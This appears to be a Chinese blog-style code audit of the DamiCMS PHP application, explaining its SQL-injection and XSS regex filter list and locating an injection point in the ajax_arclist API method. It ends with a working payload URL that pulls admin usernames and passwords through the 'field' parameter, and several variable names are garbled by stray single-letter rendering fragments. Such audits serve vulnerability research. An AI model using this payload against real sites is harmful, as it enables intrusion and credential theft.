2023年将会持续于B站、CSDN等各大平台更新,可加入粉丝群与博主交流:838681355,为了老板大G共同努力。
一、入口文件(单入口文件模式)
看一下Index.php文件代码:引入了php_safe.php文件
 
 查看一下php_safe.php防御文件:
 
 对变量
    
     
      
       
        e
       
       
        r
       
       
        r
       
       
        n
       
       
        o
       
       
        /
       
      
      
       errno/
      
     
    errno/errfile/$errline用了个自定义处理函数set_error_handler做处理:
 
做一下分析:
'                                     --过滤单引号
(and|or)\\b.+?(>|<|=|in|like)             --过滤and/or/</>/=/in/like
\\/\\*.+?\\*\\/                         --过滤/ * 
<\\s*script\\b                          --过滤script
\\bEXEC\\b                            --过滤EXEC
UNION.+?SELECT                        --过滤union select
UPDATE.+?SET                          --过滤 update
INSERT\\s+INTO.+?VALUES                --过滤insert into values
(SELECT|DELETE).+?FROM                --过滤select/delete from
HEX(\\s+)?\(.+?\)|IF(\\s+)?\(.+?\)          --过滤hex编码
SLEEP(\\s+)?\(.+?\)                     --过滤sleep
USER(\\s+)?\(.+?\)                     --过滤user
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE) --过滤create/alter/drop/truncate/table/database
对get/post/cookie也做了处理:
 
二、漏洞位置定位
C:\phpstudy_pro\WWW\damicms\Web\Lib\Action\ApiAction.class.php 万能获取数据接口
 
 方法ajax_arclist中,使用了REQUEST传输方式,在65、69、71处有SQL交互,关键变量:
    
     
      
       
        o
       
       
        r
       
       
        d
       
       
        o
       
       
        r
       
       
        /
       
      
      
       ordor/
      
     
    ordor/where/
    
     
      
       
        n
       
       
        u
       
       
        m
       
       
        /
       
      
      
       num/
      
     
    num/field,查看是否可控:
 
 查看一下过滤函数文件:C:\phpstudy_pro\WWW\damicms\Core\Common\functions.php
 防SQL:
 
 防XSS:
 
原生SQL:SELECT id,name FROM think_user limit 10
构造写法:$User->where(‘status=1’)->field(‘id,name’)->order(‘id desc’)->limit(5)->select();
生成SQL:SELECT id,name FROM think_user WHERE status=1 order by id desc limit 5
Payload:http://localhost/test0/index.php?s=/api/ajax_arclist/model/article/field/username,userpwd from admi_member%23



















